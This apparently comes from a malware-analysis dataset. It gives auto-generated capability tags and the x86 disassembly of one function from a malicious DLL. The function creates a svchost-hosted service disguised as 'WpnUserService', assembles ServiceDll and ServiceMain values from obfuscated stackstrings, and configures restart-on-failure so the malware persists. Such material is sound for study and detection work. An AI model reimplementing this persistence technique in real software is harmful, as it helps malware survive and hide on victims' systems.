Function at 0x100024e0
Capabilities:
Contain obfuscated stackstrings
Create service
Modify service
Persist via windows service
Query or enumerate registry value
Query service status
Set registry value

Disassembly:
sub esp, 0x8e8
push ebp
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push edi
push 0xf003f
xor ebp, ebp
push ebp
xor edi, edi
push ebp
mov dword [esp + 0x24], edi
call esi
mov dword [esp + 0x1c], eax
cmp eax, ebp
jne 0x1000251a
push 1
push ebp
push ebp
call esi
mov dword [esp + 0x1c], eax
cmp eax, ebp
je 0x10002b13
push ebx
push 0xf01ff
push str.WpnUserService_6ac92
xor ecx, ecx
push eax
mov dword [esp + 0x30], 0x650053
mov dword [esp + 0x34], 0x760072
mov dword [esp + 0x38], 0x630069
mov dword [esp + 0x3c], 0x440065
mov dword [esp + 0x40], 0x4c004c
mov word [esp + 0x44], cx
mov dword [esp + 0x1c], ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
cmp ebx, ebp
jne 0x100029a8
cmp dword [0x10012378], ebp
je 0x10002af9
push str.WpnUserService_6ac92
push str.svchost
lea edx, [esp + 0x2e8]
push str.__SYSTEMROOT___system32_s.exe__k___s_
push edx
call edi
add esp, 0x10
push ebp
mov ecx, dword [esp + 0x24]
push ebp
push ebp
push ebp
push ebp
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x2f4]
push eax
push ebp
push 2
push 0x20
push 0xf01ff
push str.WpnUserService_6ac92
push str.WpnUserService_6ac92
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov ebx, eax
cmp ebx, ebp
je 0x10002af9
mov eax, 0x2710
mov dword [esp + 0xb4], eax
mov dword [esp + 0xbc], eax
mov dword [esp + 0xc4], eax
lea eax, [esp + 0x9c]
push eax
mov ecx, 1
push 2
lea edx, [esp + 0xb8]
push ebx
mov dword [esp + 0xbc], ecx
mov dword [esp + 0xc4], ecx
mov dword [esp + 0xcc], ecx
mov dword [esp + 0xa8], ebp
mov dword [esp + 0xb0], ebp
mov dword [esp + 0xac], ebp
mov dword [esp + 0xb4], 3
mov dword [esp + 0xb8], edx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push 0x1000e604
push ebp
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
lea ecx, [esp + 0xe4]
push str._s_s_c_s
push ecx
call edi
add esp, 0x18
push ebp
lea edx, [esp + 0x14]
push edx
push ebp
push 0xf023f
push ebp
push ebp
push ebp
lea eax, [esp + 0xf0]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [0x10012108]
test eax, eax
jne 0x100026bf
push str.WpnUserService_6ac92
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0x10]
add eax, eax
push eax
push str.WpnUserService_6ac92
push 7
push ebp
push str.WpnUserService_6ac92
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.WpnUserService_6ac92
push 0x5c
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
lea eax, [esp + 0xe4]
push str._s_s_c_s
push eax
call edi
add esp, 0x18
push ebp
lea ecx, [esp + 0x14]
push ecx
push ebp
push 0xf023f
push ebp
push ebp
push ebp
lea edx, [esp + 0xf0]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [0x10012108]
test eax, eax
jne 0x1000275e
mov eax, dword [esp + 0x10]
push 4
push eax
call fcn.10006c00
mov edx, dword [esp + 0x18]
add esp, 8
push 4
lea ecx, [esp + 0x20]
push ecx
push 4
push ebp
push str.AuthenticationCapabilities
push edx
mov dword [esp + 0x34], 0x2000
call esi
mov ecx, dword [esp + 0x10]
push 4
lea eax, [esp + 0x18]
push eax
push 4
push ebp
push str.CoInitializeSecurityParam
push ecx
mov dword [esp + 0x2c], 1
call esi
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.Parameters
push str.WpnUserService_6ac92
push str.Services_
lea eax, [esp + 0xe0]
push str.SYSTEMCurrentControlSet_s_s_s
push eax
mov dword [esp + 0x50], 0x650053
mov dword [esp + 0x54], 0x760072
mov dword [esp + 0x58], 0x630069
mov dword [esp + 0x5c], 0x4d0065
mov dword [esp + 0x60], 0x690061
mov dword [esp + 0x64], 0x6e
call edi
add esp, 0x14
push ebp
lea ecx, [esp + 0x14]
push ecx
push ebp
push 0xf023f
push ebp
push ebp
push ebp
lea edx, [esp + 0xf0]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [0x10012108]
test eax, eax
jne 0x1000291a
mov eax, dword [esp + 0x10]
push 4
push eax
call fcn.10006c00
mov ecx, dword [0x100120f0]
mov eax, dword [0x10012414]
add esp, 8
lea edx, [ecx + ecx + 2]
push edx
mov edx, dword [esp + 0x14]
push eax
push 2
push ebp
lea ecx, [esp + 0x34]
push ecx
push edx
call esi
mov ecx, dword [esp + 0x18]
lea edx, [ecx + ecx + 2]
push edx
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x2e4]
push eax
push 2
push ebp
lea ecx, [esp + 0x64]
push ecx
push edx
mov dword [esp + 0x6c], 0x6d0049
mov dword [esp + 0x70], 0x670061
mov dword [esp + 0x74], 0x500065
mov dword [esp + 0x78], 0x740061
mov dword [esp + 0x7c], 0x68
call esi
push 0x1000e498
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0x10]
add eax, eax
push eax
push 0x1000e498
push 1
push ebp
lea eax, [esp + 0x4c]
push eax
push ecx
call esi
push 4
lea ecx, [esp + 0x18]
push ecx
push 4
xor eax, eax
push ebp
lea edx, [esp + 0x78]
mov word [esp + 0xa4], ax
mov eax, dword [esp + 0x20]
push edx
push eax
mov dword [esp + 0x80], 0x650053
mov dword [esp + 0x84], 0x760072
mov dword [esp + 0x88], 0x630069
mov dword [esp + 0x8c], 0x440065
mov dword [esp + 0x90], 0x6c006c
mov dword [esp + 0x94], 0x6e0055
mov dword [esp + 0x98], 0x6f006c
mov dword [esp + 0x9c], 0x640061
mov dword [esp + 0xa0], 0x6e004f
mov dword [esp + 0xa4], 0x740053
mov dword [esp + 0xa8], 0x70006f
mov dword [esp + 0x2c], ebp
call esi
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1000e604
push str.WpnUserService_6ac92
push str.Services_
lea edx, [esp + 0xe0]
push str.SYSTEMCurrentControlSet_s_s_s
push edx
call edi
add esp, 0x14
push ebp
lea eax, [esp + 0x14]
push eax
push ebp
push 0xf023f
push ebp
push ebp
push ebp
lea ecx, [esp + 0xf0]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [0x10012108]
test eax, eax
jne 0x1000299d
mov edx, dword [esp + 0x10]
push 4
push edx
call fcn.10006c00
add esp, 8
push 0x1000e498
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0x10]
add eax, eax
push eax
push 0x1000e498
push 1
push ebp
lea eax, [esp + 0x4c]
push eax
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
push ebx
call fcn.10006c00
add esp, 8
push str.Parameters
push str.WpnUserService_6ac92
push str.Services_
lea eax, [esp + 0xe0]
push str.SYSTEMCurrentControlSet_s_s_s
push eax
mov dword [esp + 0x30], 1
call edi
add esp, 0x14
push ebp
lea ecx, [esp + 0x14]
push ecx
push ebp
push 0xf023f
push ebp
push ebp
push ebp
lea edx, [esp + 0xf0]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [0x10012108]
test eax, eax
jne 0x10002a88
push 0x20a
lea eax, [esp + 0xd8]
push eax
call sub.NTDLL.dll_RtlZeroMemory
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0xd8]
push edx
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x1c]
push eax
push ebp
lea ecx, [esp + 0x34]
push ecx
push edx
mov dword [esp + 0x30], 0x20a
mov dword [esp + 0x2c], 2
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10002a5c
mov eax, dword [0x10012414]
push eax
lea ecx, [esp + 0xd8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x10002a7d
mov edx, dword [0x100120f0]
mov ecx, dword [0x10012414]
lea eax, [edx + edx + 2]
push eax
mov eax, dword [esp + 0x14]
push ecx
push 2
push ebp
lea edx, [esp + 0x34]
push edx
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x24
lea edx, [esp + 0xb4]
push edx
call sub.NTDLL.dll_RtlZeroMemory
lea eax, [esp + 0x98]
push eax
push 0x24
lea ecx, [esp + 0xb8]
push ecx
push ebp
push ebx
mov dword [esp + 0xac], ebp
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x10002ac6
cmp dword [esp + 0xb4], 4
je 0x10002af2
cmp dword [0x10012378], ebp
je 0x10002ae7
cmp dword [0x100120cc], ebp
je 0x10002ae7
push 1
lea edx, [esp + 0x1c]
mov dword [esp + 0x1c], 0x1000e494
push edx
jmp 0x10002ae9
push ebp
push ebp
push ebx
call fcn.10004140
add esp, 0xc
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [esp + 0x1c]
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x8e8
ret
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0x8e8
ret